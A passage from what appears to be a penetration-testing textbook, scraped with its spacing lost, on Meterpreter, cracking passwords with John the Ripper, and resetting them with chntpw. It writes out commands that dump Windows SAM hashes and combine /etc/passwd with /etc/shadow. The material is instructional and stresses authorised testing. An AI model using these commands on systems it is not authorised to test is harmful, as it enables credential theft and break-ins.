Onceinstalledonthevictimmachine,itallowstheattackertointeractwithandexecutecommandsonthetargetasiftheattackerweresittingatthelocalmachine.ItisveryimportanttounderstandthattheMeterpreterwillrunwiththeprivilegesassociatedwiththeprogramthatwasexploited.Forexample,assumethatourfavoriteNetworkAdminBenOwnedhasdisregardedallcommonsenseandisrunninghis IRC program as “root” (the Linux equivalent of the Windows “Administrator” account).UnfortunatelyforBen,hissystemisout-of-date,andduringarecentpenetrationtest,theattackerwasabletoexploitBen’sIRCclientinstallingMetasploit’sMeterpreter.BecauseBenwasrunningtheIRCprogramastherootaccount,andbecausetheIRCprogramwasexploitedbyMetasploit,theMeterpretershellisnowabletofunctionwithalltheprivilegesandrightsofthe“root”account!Thisisoneexampleinalonglistofreasonswhyitisimportanttorunallyourprogramswiththemostrestrictiveprivilegespossible,andavoidrunninganythingasrootoradministrator.Anotherreasonforusing theMeterpreterovera traditionalcmdorLinuxshellstemsfromthefact

thatstartingeitheroftheseonatargetmachineoftenstartsanewprocessthatcanbedetectedbyakeenuser or wily administrator. This means that the attacker raises his or her visibility and chances ofdetectionwhileinteractingwiththetargetmachine.Furthermore,boththecmd.exeand/bin/shprovidea limitednumberof toolsandcommands thatcanbeaccessed. Incontrast, theMeterpreterwasbuiltfromthegrounduptobeusedassortof“hacker’scmd”withtheabilitytoaccessandcontrolthemostpopulartoolsandfunctionsneededduringapenetrationtest.TheMeterpreter has many great features that are built in by default. Basic functions include the

“migrate” command, which is useful for moving the server to another process. Migrating theMeterpreterserver toanotherprocess is important, incasethevulnerableserviceyouattackedisshutdownorstopped.Anotherusefulfunctionis the“cat”commandthatcanbeusedtodisplaylocalfilecontents on the screen. This is useful for reviewing various files on the target. The “download”commandallowsyou topull a fileordirectory from the targetmachine,makinga local copyon the

Page 99: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

attacker’smachine.The“upload”commandcanbeusedtomovefilesfromtheattacker’smachinetothe targetmachine.The“edit”commandcanbeused tomakechanges tosimplefiles.The“execute”commandcanbeusedtoissueacommandandhaveitrunontheremotemachine,whereas“kill”canbeusedtostopaprocess.ThefollowingcommandsarealsousefulandprovidetheexactsamefunctionastheydoonanormalLinuxmachine:“cd”,“ls”,“ps”,“shutdown”,“mkdir”,“pwd”,and“ifconfig”.Some of the more advanced features include the ability to extract password hashes through the

“hashdump”command,theabilitytointeractwitharubyshell,theabilitytoloadandexecutearbitraryDynamic Link Library (DLLs) on the target, the ability to remotely control the webcam andmicrophone,andeventheabilitytolockoutthelocalkeyboardandmouse!As you can see, gaining access to aMeterpreter shell is one of the most powerful, flexible, and

stealthywaysthatanattackercaninteractwithatarget.Itiswellworthyourtimetolearnhowtousethishandytool.WewillcomebacktotheMeterpreterwhenwediscusspostexploitationinstep4.

JtR:KingofthePasswordCrackersIt is hard to imagine discussing a topic like the basics of hackingwithout discussing passwords andpasswordcracking.Nomatterwhatwedoorhowfarweadvance,itappearsthatpasswordsremainthemost popularway toprotect data and allowaccess to systems.With this inmind, let us take a briefdetourtocoverthebasicsofpasswordcracking.Thereareseveralreasonswhyapenetrationtesterwouldbeinterestedincrackingpasswords.First

andforemost, this isagreat techniqueforelevatingandescalatingprivileges.Consider thefollowingexample:assumethatyouwereabletocompromiseatargetsystembutafterloggingin,youdiscoverthatyouhavenorightsonthatsystem.Nomatterwhatyoudo,youareunabletoreadandwriteinthetarget’sfilesandfoldersandevenworse,youareunabletoinstallanynewsoftware.Thisisoftenthecasewhenyougetaccesstoalow-privilegedaccountbelongingtothe“user”or“guest”group.Iftheaccountyouaccessedhasfewornorights,youwillbeunabletoperformmanyoftherequired

stepstofurthercompromisethesystem.IhaveactuallybeeninvolvedwithseveralRedTeamexerciseswhere seemingly competent hackers are at a complete loss when presented with an unprivilegedaccount.Theythrowuptheirhandsandsay“Doesanyonewantunprivilegedaccesstothismachine?Idon’tknowwhat todowith it.” In this case,passwordcracking is certainlyausefulway to escalateprivilegesandoftenallowsustogainadministrativerightsonatargetmachine.Anotherreasonforcrackingpasswordsandescalatingprivilegesisthatmanyofthetoolswerunas

penetrationtestersrequireadministrative-levelaccessinordertoinstallandexecuteproperly.Asafinalthought, on occasion, penetration testersmay find themselves in a situationwhere theywere able tocrackthelocaladministratorpassword(thelocaladminaccountonamachine)andhavethispasswordturn out to be the exact same password that the network administrator was using for the domainadministratoraccount.

ALERT!Password hint #1: Never, never, never use the same password for your local machineadministratorasyoudoforyourdomainadministratoraccount.

Page 100: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Ifwecanaccess thepasswordhashesona targetmachine, thechancesaregood thatwithenoughtime,JtR,apassword-crackingtool,candiscovertheplaintextversionofapassword.Passwordhashesare the encrypted and scrambled versions of a plaintext password. These hashes can be accessedremotelyorlocally.Regardlessofhowweaccessthehashfile,thestepsandtoolsrequiredtocrackthepasswordsremainthesame.Initsmostbasicform,passwordcrackingconsistsoftwoparts:

1.Locateanddownloadthetargetsystem’spasswordhashfile.2.Useatooltoconvertthehashed(encrypted)passwordsintoaplaintextpassword.

Most systemsdonot storeyourpasswordas theplaintextvalueyouenter,but rather theystoreanencryptedversionofthepassword.Thisencryptedversioniscalledahash.Forexample,assumeyoupickapassword“qwerty”(whichisobviouslyabadidea).WhenyoulogintoyourPC,youtypeyourpassword “qwerty” to access the system. However, behind the scenes your computer is actuallycalculating, creating, passing, and checking an encrypted version of the password you entered. Thisencryptedversionorhashofyourpasswordappearstobearandomstringofcharactersandnumbers.Different systems use different hashing algorithms to create their password hashes.Most systems

storetheirpasswordhashesinasinglelocation.Thishashfileusuallycontainstheencryptedpasswordsforseveralusersandsystemaccounts.Unfortunately,gainingaccesstothepasswordhashesisonlyhalfthebattlebecausesimplyviewingorevenmemorizingapasswordhash(ifsuchathingwerepossible)isnotenoughtodeterminetheplaintext.Thisisbecausetechnicallyitisnotsupposedtobepossibletoworkbackwardfromahashtoplaintext.Byitsdefinition,ahash,onceencrypted,isnevermeanttobedecrypted.Consider the following example. Assume that we have located a password hash and we want to

discover the plaintext value. It is important to understand that in most cases we need the plaintextpassword,not thehashedpassword.Entering thehashedvalue into the systemwillnotgetusaccessbecausethiswouldsimplycausethesystemtohashthehash(whichisobviouslyincorrect).

ADDITIONALINFORMATIONThereisanattackcalled“Passthehash”whichallowsyoutoreplayorresendthehashedvalueofapasswordinordertoauthenticatewithaprotectedservice.Whenapass-the-hashattackisused,thereisnoneedtocrackthepasswordanddiscoveritsplaintextvalue.

Inordertodiscovertheplaintextversionofapassword,weneedtocirclethroughaseriesofsteps.Firstwe select a hashing algorithm, secondwe pick a plaintextword, thirdwe encrypt the plaintextwordwith thehashingalgorithm,andfinallywecompare thenewlyhashedwordwith thehashfromour target. If the hashesmatch, we know the plaintext password because no two different plaintextwordsshouldproducetheexactsamehash.Althoughthismayseemlikeaclumsy,awkward,orslowprocessforahuman,computersspecialize

intaskslikethis.Giventhecomputingpoweravailabletoday,completingthefour-stepprocessoutlinedaboveistrivialforamodernmachine.ThespeedatwhichJtRcangeneratepasswordhasheswillvarydependingonthealgorithmbeingusedtocreatethehashesandthehardwarethatisrunningJtR.ItissafetosaythatevenanaveragecomputeriscapableofgeneratingmillionsofWindows(LanManager(LM))passwordguesseseverysecond.JtRincludesaniftyfeaturethatallowsyoutobenchmarkyour

Page 101: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

computer’sperformance.Thisbenchmarkwillbemeasuredincrackspersecond(c/s).YoucanrunthisbyopeningaterminalandnavigatingtotheJtRdirectoryasshownbelow:cd/usr/share/johnOnceyouareintheJohndirectory,youcanissuethefollowingcommandtotestyourc/smetric.Note

thatyoudonotneedtobeintheJohndirectory.TheJohnexecutableislocatedunder/usr/sbin/soitcanbeexecutedinanydirectory.john--testThiswillprovideyouwithalistofperformancemetricsandletyouknowhowefficientyoursystem

isatgeneratingguessesbasedonyourhardwareandthealgorithmbeingusedtohashthepasswords.Aspreviouslymentioned,passwordcrackingcanbeperformedaseithera localattackora remote

attack.Inourinitialdiscussionbelow,wewillfocusonpasswordcrackingfromthelocalperspective.Thatis,howanattackerorpenetrationtesterwouldcrackthepasswordsiftheyhadphysicalaccesstothe machine. Examining the attack from a local perspective will allow you to learn the propertechniques.Wewillwrapupthissectionbydiscussinghowthisattackcanbeperformedremotely.

LocalPasswordCrackingBeforewecancrackpasswordsonalocalmachine,wefirsthavetolocatethepasswordhashfile.Asmentionedearlier,mostsystemsstoretheencryptedpasswordhashesinasinglelocation.InWindows-basedsystems,thehashesarestoredinaspecialfilecalledthesecurityaccountmanager(SAM)file.OnNT-based Windows systems including Windows 2000 and above, the SAM file is located in theC:\Windows\System32\Config\directory.NowthatweknowthelocationoftheSAMfile,weneedtoextract the password hashes from the file. Because the SAM file holds some very importantinformation,Microsofthaswiselyaddedsomeadditionalsecurityfeaturestohelpprotectthefile.Thefirstprotection is that theSAMfile isactually lockedwhen theOSbootsup.Thismeans that

whiletheOSisrunningwedonothavetheabilitytoopenorcopytheSAMfile.Inadditiontothelock,theentireSAMfileisencryptedandnotviewable.Fortunately,thereisawaytobypassboththeserestrictions.Becausewearediscussinglocalattacks

andbecausewehavephysicalaccesstothesystem,thesimplestwaytobypasstheseprotectionsistoboot toanalternateOSlikeKali.Bybootingourtarget toanalternateOS,weareabletobypasstheWindowsSAMlock.ThisispossiblebecausetheWindowsOSneverstarts,thelockneverengages,andwearefreetoaccesstheSAMfile.Unfortunately,theSAMfileisstillencrypted,soweneedtouseatooltoaccessthehashes.Fortunately,therequiredtoolisbuiltintoKali.

ADDITIONALINFORMATIONTherearemanydifferentwaystobootyourtargettoanalternateOS.Theeasiestmethodsusuallyinvolvedownloadinga“live”CDorDVD.TheliveCDorDVDisthenburnedtoadisc,whichcanbe inserted into theopticaldriveof the targetmachine.Manysystemswillchecktheirdrivesformediaandautomaticallyattempttobootfromitwhendetected.Ifyourtargetsystemdoesnotautomaticallyattempttobootfromtheopticaldrive,youcanuse a key combination to access and change the device boot order or enter the basicinput/outputsystemsettingstoorderthetargettobootfromtheopticaldrive.Intheeventthatyourtargetdoesnothaveanopticaldrive,youcanalsouseUNetbootin

Page 102: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

to create a bootable universal serial bus (USB) drive. UNetbootin allows you to make“live”LinuxversionsofKaliandseveralotherdistributions.CombiningUNetBootinwithaKaliISOallowsyoutorunanentireOSfromasingleUSBthumbdrive,whichcreatesaverypowerful,portable,andconcealabletoolkit.AswiththeliveCD/DVD,youmayneedtochangethevictim’sbootorderbeforeyourtargetwillloadthealternateOSfromyourUSBthumbdrive.

AfterbootingthetargetsystemtoanalternateOS,thefirstthingyouneedtodoistomountthelocalhard drive. Be sure to mount the drive containing theWindows folder.We can accomplish this byopeningaterminalandtyping:mount/dev/sda1/mnt/sda1Itisimportantthatyoumountthecorrectdriveasnotalltargetsystemswillhavea/dev/sda1.Ifyou

areunsure aboutwhichdrive tomount, youcan run the “fdisk–l” command from the terminal.Thefdisk toolwill list eachof thedrives availableonyour target systemand shouldhelpyoudeterminewhichdriveyouneedtomount.Youmayalsoneedtocreateamountpointinthe/mntdirectory.Todoso,youcansimplyusethe“mkdir”command:mkdir/mnt/sda1Ifyouareunsureabouthowtousethemountcommandorlocatetheproperdrive,pleasereviewthe

LinuxmanpagesforthemountcommandorpracticeyournewlyacquiredGoogleskillsfromstep1.OnceyouhavesuccessfullymountedthelocaldriveinKali,youwillbeabletobrowsetheWindows

“C:\”drive.YoushouldnowbeabletonavigatetotheSAMfile.Youcandosobytypingthefollowingcommandintoaterminalwindow:cd/mnt/sda1/Windows/system32/configIfeverythinghasgoneasplanned,youshouldbeinthedirectorycontainingtheSAMfile.Toview

thecontentsof thecurrentfolder issue the“ls”commandin the terminalwindow,youshouldsee theSAMfile.Figure4.8showsascreenshotdisplayingeachof thestepsrequiredto locate theSAMfile(assumingyouhavea/mnt/sda1directoryalreadycreated).

Page 103: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE4.8 LocatingtheSAMfileforlocalpasswordcracking.

Instep1weissuethe“fdisk–l”commandtoviewtheavailabledrivesonthelocaldisk.Instep2,fdiskrespondsbackbystating that there isadriveat /dev/sda1. Instep3,weuse this information tomount thedrive intoour“/mnt/sda1” folderso thatwecanaccess the localharddrive.Nowthatourdriveismountedandavailable,instep4,wemoveintothedirectorycontainingtheSAMfilebyusingthe“cd”(changedirectory)command.Instep5,weverifythatweareintheproperdirectorybyissuingthe“ls”commandtolistthecontentsofthecurrentfolder.Finally,step6showstheSAMfile.NowthatwehavelocatedtheSAMfile,wecanuseatoolcalledSamdump2toextractthehashes.At

thispointwehave theability toviewandcopy theSAMfile, ineffectovercoming the first securityfeature,buttheSAMfileisstillencrypted.InordertoviewanunencryptedcopyoftheSAMfile,weneedtorunSamdump2.Samdump2utilizesafileonthelocalmachinecalled“system”todecrypttheSAMfile.Fortunately,the“system”fileislocatedinthesamedirectoryastheSAMfile.To runSamdump2,we issue the“samdump2”commandfollowedby thenameand locationof the

“system”file,followedbythenameandlocationoftheSAMfilewewanttoview.Recallthatearlierwehadissuedthe“cd”commandtonavigatetotheWindows/system32/configfolder.Atthispoint,wecanextractthecontentsoftheSAMfilebyrunningthefollowingcommandinaterminal:samdump2systemSAM>/tmp/hashes.txtThiswillinvoketheSamdump2programandappendingthe“>/tmp/hashes.txt”commandwillsave

the results toa filecalled“hashes.txt” inKali’s /tmpdirectory. It isalwaysagood idea toverify theextractedhashesbeforecontinuing.Youcanusethe“cat”commandtoensureyouhavealocalcopyofthehashes.txtfileasshownbelow:cat/tmp/hashes.txtFigure4.9showsascreenshotoftheSamdump2commandanddisplaysthecontentsofthehashes.txt

file.

ALERT!

Page 104: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

AccessingtherawhashesonsomeWindowssystemsmayrequireanextrastep.Bkhiveisa toolwhichallowsyou to extract theSyskeybootkey from the systemhive. Itmaybenecessary tousebkhive to extract the systemkey inorder to fully expose thepasswordhashes.Torunbkhive,weneedtosupplythesystemfileandanamefortheoutputfilewhich

willcontain theextractedkey.Luckily,asmentioned, theMicrosoftwaskindenough tokeep the “system” file in the same directory as the SAM file.As previously discussed,thesefilesaretypicallyfoundintheWindows/system32/configdirectory.Ifyouexaminethecontentsoftheconfigfolder,youshouldfindthe“system”filebelongingtothetargetmachine.AssumingyouarealreadyinthefoldercontainingthesystemandSAMfiles,youcan

utilizebkhivetoextractthekeywiththefollowingcommand:bkhivesystemsys_key.txtAtthispointwecancontinueonwithourattackbyusingSamdump2.Inthiscase,we

utilizeSamdump2withournewlycreatedsys_key.txtfileasshownbelow:samdump2SAMsys_key.txt>/tmp/hash.txtThroughoutthisexample(andallexamplesinthisbook)besuretopayspecialattention

to the exact spelling andcapitalizationofdirectory, file, and foldernameswhen issuingcommands. Depending on the version of Windows you are targeting, you may find“system32” or “System32” being used.Mistyping the namewill cause the command toerroroutandfail.Withthehashesnowextracted,wecanproceedtocrackthemwithJtR.

FIGURE4.9 Extractingandviewingpasswordhasheswithsamdump2.

Nowthatwehavethepasswordhashessaved,weneedtotransferthemofftheliveKalidisk.Thiscanbedonebysimplye-mailingthehashes.txtfiletoyourselforinsertingathumbdriveandcreatingalocalcopyofthehashes.Eitherway,makesureyousavethehashes.txtfilebecauseyouareworkingoffa“live”CDandyourchangesarenotpersistent.Thismeanswhenyourebootthetargetmachine,allthefilesyoucreatedintheKalidiskwillbegoneforgood!Withthepasswordhashfilefromyourtargetsystemin-hand,youcanbegintheprocessofcracking

thepasswords.Toaccomplishthistask,wewilluseatoolcalledJtR.Likeeachoftheothertoolswehave examined, JtR is available for free. You can download it from http://www.openwall.com/john.Before we begin utilizing JtR, it is important that you understand howMicrosoft creates passwordhashes.OriginallyMicrosoftutilizedahashingalgorithmcalledLanManager(orLMforshort).LMhashes

suffered from several key weaknesses that made password cracking a trivial task. First, when LM

Page 105: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

hashesarecreated,theentirepasswordisconvertedtouppercase.Convertingallthecharactersusedinapasswordtouppercaseisafundamentalflawthatgreatlyreducesthestrengthofanypassword.Thisisbecause technically if we hash the word “Password” and “password”, even though they are onlydifferent by a single case of a single letter, these two words will produce a different hash output.However,becauseLMhashesconverteverycharactertouppercase,wedrasticallyreducethenumberofguesses we need to make. Instead of requiring an attacker to guess “password”, “Password”,“PASsword”,andsoon,witheverypossiblecombinationofupperand lowercase letters, theattackeronlyneedstomakethesingleguessof“PASSWORD”.Tofurthercompoundthisissue,everyLMpasswordis14charactersinlength.Ifapasswordis<14

characters, the missing letters are filled in with null values. If a password is >14 characters, thepasswordistruncatedat14characters.The final nail in the coffin of LM passwords (as if it needed another) is the fact that all stored

passwords,whicharenow14charactersinlength,actuallygetsplitinhalfandstoredastwoindividualseven-character passwords. The length of a password is one source of its strength; unfortunatelybecauseof theLMdesign, themaxpassword thatneeds tobecracked is sevencharacters. Johnwillactuallyattempttocrackeachoftheseven-characterhalvesofthepasswordindividuallyandtypicallymakesveryshortworkoutofit.Take a moment to consider these flaws.When taken together, they represent quite a blow to the

securityofanysystem.SupposeourfavoriteNetworkAdmin,BenOwnedisutilizingLMhashesonhisWindowsmachine.Heisawareofthedangersofweakpasswordssohecreatesthefollowingpassword,whichhebelievesissecure:SuperSecretPassword!@#$.Unfortunately forBen, he is operatingunder a false sense of security.His complexpasswordwill

actuallyundergoaseriesofchangesthatmakeitmuchlesssecure.First,thepasswordisconvertedtoall-uppercase: SUPERSECRETPASSWORD!@#$. Next, the password is truncated to be exactly 14characters,with any remaining letters simply discarded.The newpassword is: SUPERSECRETPAS.Finally,thepasswordisbrokenintoequalhalvesofsevencharacterseach:SUPERSEandCRETPAS.When a hacker or penetration tester gets ahold of Ben’s password, the attacker has to crack two

simple, all-uppercase, seven-character passwords. That is a drastically simpler task than the originalpasswordofSuperSecretPassword!@#$.Fortunately,MicrosoftaddressedtheseissuesandnowusesamoresecurealgorithmcalledNTLMto

create its password hashes. However, as a penetration tester, you will still find systems which areutilizing and storing LM hashes. Modern versions of Windows do not use or store LM hashes bydefault; even so, there are options to enableLMon these systems.This “feature” is implemented tosupport backward compatibilitywith legacy systems.As a side note, you should always upgrade, ordiscontinuetheuseofanylegacysoftwarethatrequiresyoutouseLMhashes.Oldsystemsoftenputyourentirenetworkatrisk.JtR is capable of cracking passwords by using a password dictionary or by brute forcing letter

combinations.Aswediscussedearlier,passworddictionariesareprecompiled listsofplaintextwordsandlettercombinations.Oneadvantageofusingapassworddictionaryis that it isveryefficient.Themaindisadvantageof this technique is that if theexactpassword isnot in thedictionary, JtRwillbeunsuccessful. Another method for cracking passwords is to brute force letter combinations. Bruteforcing letter combinationsmeans that the password crackerwill generate passwords in a sequentialorderuntilithasexhaustedeverypossiblecombination.Forexample,thepasswordcrackerwillbeginbyguessing thepasswordasa single letter: “a”. If thatguess isunsuccessful, itwill try“aa”. If thatguess isunsuccessful, itwillmove to “aaa” and soon.Thisprocess is typicallymuch slower thana

Page 106: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

dictionaryguessingattack,buttheadvantageisthatgivenenoughtime,thepasswordwilleventuallybefound.Ifwetryeveryletterineverypossiblecombination,thereissimplynowhereforapasswordtohide.However, it is important topointout that thebrute forcingpasswordsof significant length andciphercantakeasignificantamountoftimetocrack.JtRisbuiltintoKali.InordertorunJohn,wedonotneedtobeinanydirectory,wecancallitfrom

anywhere since the John binary is located in /usr/sbin/john.We can run John by simply typing thefollowingcommands:johnAssumingourpreviouslyextracted“hashes.txt”fileislocatedinthe/tmp/folder,fromthecommand

line,wecanissuethefollowingcommand:john/tmp/hashes.txtIn the command above, “john” is used to invoke the password cracking JtR program. The next

command “/tmp/hashes.txt” is used to specify the location of the hashes that we extracted usingSamdump2.Ifyousavedyourhashes.txtfiletoadifferentlocation,youwillneedtochangethispath.Johnisprettygoodaboutguessingthe typeofpasswordyouwant tocrackbut it isalwaysbest to

specify.Tospecifythepasswordtype,usethe“--format=format_name”command.Johniscapableofcrackingdozensofdifferentpasswordhashes;youcanfindthedetailsofeachinthedocumentationorontheopenwall.comwebsite.RecallthatmostmodernWindowssystemsmakeuseofNTLMhashes.Ifyour target uses NTLM hashes, you will need to append the “--format=nt” switch to your originalcommand.Inthiscase,thecommandwouldlooklikethefollowing:john/tmp/hashes.txt--format=ntAfterissuingtheappropriatecommandtoinstructJtRtorun,theprogramwillattempttocrackthe

passwordscontainedinthehashes.txtfile.WhenJohnissuccessfulinfindingapassword,itwilldisplayittothescreen.Figure4.10showsthecommandsusedtomoveintotheJohndirectory,executingJtR,andtheoutputofusernamesandpasswordsthatwerecracked.Johnpresentstheclear-textpasswordontheleftandtheusernameenclosedinparenthesisontheright.

FIGURE4.10 CrackedpasswordsfromJohntheRipper.

Belowyouwill find a brief recap of the steps used to crackWindows passwords.Remember thisprocedure covers attacking from the local perspective, when you have physical access to the targetmachine.Itisimportantthatyoupracticeandfullyunderstandhowtocompleteeachofthestepsbelow.Ifyouaregivenphysicalaccesstoamachine,youshouldbeabletocompletesteps1–4in<5min.Thetime it takes to complete step 5, the actual cracking of the passwords,will vary depending on yourresources and the quality or strength of the passwords you are cracking. You should also becomecomfortableenoughwitheachofthestepsthatyoucanperformthemwithouttheaidofnotesoracheat

Page 107: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

sheet:1.Shutdownthetargetmachine.2.BootthetargettoBacktackoranalternateOSviaaliveCDorUSBdrive.3.Mountthelocalharddrive.4.UseSamdump2andtoextractthehashes.5.UseJtRtocrackthepasswords.

RemotePasswordCrackingNowthatyouhaveasolidunderstandingofpasswordcrackingfromalocalattackerperspective,letustake a fewminutes to discuss remote password cracking. Cracking passwords on remote systems istypically done after you have successfully launched an exploit against the target machine. In ourprevious example,we utilizedMetasploit to launch aVNCpayload on our remote target.While theVNCpayloadisdefinitelyfun,amuchmorein-depthandfeature-richpayloadistheMeterpretershell.UtilizingMetasploit togaina remoteshellon the targetwillprovideusaccess toauniquecommandterminal which (among other things) makes gathering remote password hashes a breeze. With aMeterpreter session runningonyour target, simplyenter thecommand“hashdump”.Meterpreterwillbypassall theexistingWindowssecuritymechanismsandpresentyouwithadumpof thetargetusernameandhashes.Figure4.11showsarerunoftheMS08-067exploitutilizingtheMeterpreterpayload.You can see the “hashdump” command being issued and the victim giving up its user name andpasswordhashes.

FIGURE4.11 Utilizingmeterpretertoaccessremotepasswordhashes.

These hashes can then be copied (directly from the terminal) and pasted into a text file.With theremote hashes in our possession,we can navigate to the JtR directory and utilize John to crack thepasswords.

LinuxPasswordCrackingandaQuickExampleofPrivilegeEscalation

Page 108: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

TheprocessofcrackingLinuxandOSXpasswordsismuchthesameasthemethoddescribedabovewithafewslightmodifications.LinuxsystemsdonotuseanSAMfile tostore thepasswordhashes.Rather theencryptedLinuxpasswordhashesarecontainedinafilecalledthe“shadow”filewhichislocatedat/etc/shadow.Thebadnewsisthatonlyprivilegeduserscanaccessthe/etc/shadowfile.Ifyouhavetheappropriate

privilegeleveltoviewthe/etc/shadowfile,youcansimplycopytheusernamesandhashesandbegincrackingthepasswordswithJohn.Unfortunately,mostusersdonothaveaccesstothisfile.Thegoodnewsisthatifyoudonothavetheappropriateprivilegeleveltoviewthe/etc/shadowfile,

thereisanothermethod.Linuxalsomakesuseofaredactedpasswordlistlocatedat/etc/passwd.ThislististypicallyreadablebyallusersandwecanutilizeaspecialfunctionincludedwithJtRtocombinethe /etc/shadowand /etc/password lists.Theoutputof thisprocess is a single listwhich includes theoriginalhashes.ThisnewlistcanthenbefedintoJohnandcrackedlikeallofourpreviousexamples.Inmanyrespects,thisissimilartohowwehadtousethe“system”filewiththeSAMfiletoextract

Windowspasswordhashes.Unprivilegedusers cancombine the /etc/shadowand /etc/passwd listsbyutilizing the “unshadow” command. To combine the two lists, issue the following command in aterminal:unshadow/etc/passwd/etc/shadow>/tmp/linux_hashes.txtThiscommandwilljointhe/etc/passwdwiththe/etc/shadowfileandstoretheresultsinafilecalled

“linux_hashes.txt”inthe/tmpdirectory.Nowthatwehaveextractedthehashes,wearealmostreadytobegincrackingtheLinuxpasswords.

MostmodernLinuxsystemsstoretheirpasswordsusingthesecurehashalgorithm(SHA),sobesurethatyourversionofJtRiscapableofcrackingSHAhashes.OncewehavethecorrectversionofJtRrunning,wecancompletethistaskbyissuingthefollowingcommand:john/tmp/linux_hashes.txtJtRcontainsmanymoreoptionsandswitchesthatcanbeusedtogreatlyimproveyourcrackingtime

andchancesofsuccess.Youshouldspendsometimelearningabouteachoftheseswitches.

PasswordResetting:TheBuildingandtheWreckingBallThereisanotheroptionfordefeatingpasswords.Thistechniqueisalocalattackandrequiresphysicalaccesstothetargetmachine;andalthoughit isveryeffectiveatgainingyouaccesstothetarget, it isalsoverynoisy.Intheprevioussection,passwordcrackingwasdiscussed.Ifaskilledpenetrationtesterisabletoaccessatargetmachinealoneforjustafewminutes,heorsheshouldbeabletogetacopyofthepasswordhashes.Allthingsconsidered,thiscouldbeaverystealthyattackanddifficulttodetect.Inmostcases, thepenetration testerwill leave fewclues thatheor shewaseveron the targetmachine.Rememberthepenetrationtestercantakethepasswordsoff-siteandcrackthemathisorherleisure.Password resetting is another technique that can be used to gain access to a systemor to escalate

privileges; however, thismethod ismuch less subtle thanpassword cracking.When first introducingthistopic,itmaybehelpfultocomparethistechniquetoaburglardrivingabulldozerthroughthewallofastoreinordertogainaccesstothepremises.Orbetteryet,usingacraneandwreckingballtopunchaholeinawallratherthanclimbingthroughanopenwindow.Itmaybeeffective,butyoucanbesurethatthestoreownerandemployeeswillknowthattheywerebrokeninto.PasswordresettingisatechniquethatallowsanattackertoliterallyoverwritetheSAMfileandcreate

anewpasswordforanyuseronamodernWindowssystem.Thisprocesscanbeperformedwithouteverknowingtheoriginalpassword,althoughasmentioned,itdoesrequireyoutohavephysicalaccessto

Page 109: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

themachine.Aswith all other techniques discussed in this book, it is vital that you have authorization before

proceedingwiththisattack.Itisalsoimportantyouunderstandtheimplicationsofthistechnique.Onceyouchangethepassword,therewillbenowaytorestoreit.Rememberthewreckingballanalogy?Itmaybeeffectivebuttheoriginalwallwillneverlookthesame.Whenyouresetthepassword,thenexttimeauserattemptstologinandfindsthatthepasswordhasbeenchanged;youcanbetthatsomeoneisgoingtonotice.Regardless,thisisstillanincrediblypowerfultechniqueandonethatcanbeveryhandyforgaining

accesstoasystem.Toperformpasswordresetting,youwillneedtoonceagainbootthetargetsystemtoaKaliDVDorthumbdrive.Oncebooted,fromtheterminal,youwillneedtomountthephysicalharddriveofthesystemcontainingtheSAMfile.Youcanfindtheinstructionsforperformingthistaskintheprevioussection.Fromhere,youcanrunthe“chntpw”commandtoresetthepassword.Toreviewthefulloptionsand

availableswitches,youcanissuethefollowingcommand:chntpw–hAssume that youwant to reset the administrator password onyour targetmachine.To accomplish

this,youwouldissuethefollowingcommand:chntpw–i/mnt/sda1/WINDOWS/system32/config/SAMInthecommandabove,the“chntpw”isusedtostartthepasswordresettingprogram.The“–i”isused

to run the program interactively and allow you to choose the user you would like reset. The“/mnt/sda1/WINDOWS/system32/config/SAM” is themounted directory containing the SAM file ofour targetmachine. It is important tomake sure youhave access to theSAM file; remembernot alldrives are listed as sda1. As mentioned earlier, running the “fdisk –l” command can be helpful indeterminingtheappropriatedrive.Afterrunningthe“chntpw–i /mnt/sda1/WINDOWS/system32/config/SAM”command,youwillbe

presentedwithaseriesofinteractivemenu-drivenoptionsthatwillallowyoutoresetthepasswordforthedesireduser.Eachofthestepsisveryclearlylaidoutanddescribed;yousimplyneedtotakeafewmoments to read what is being asked. The program is actually designed with a series of “default”answersandinmostcases,youcansimplyhitthe“enter”keytoacceptthedefaultchoice.AsshowninFigure4.12,afterloading,thefirstquestionyouareaskedis“Whattodo[1]?”Above

thequestion, youwill see a series of options to choose from.Simply enter the number or letter thatcorresponds to the choice youwant tomake andhit the “enter” key to continue.The “[1]” after thequestionindicatesthatchoice“1”isthedefault.

FIGURE4.12 Chntpwinteractivemenu.

Inourexample,weareplanningtoresetthepasswordfortheadministratoraccount,sowecantype

Page 110: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

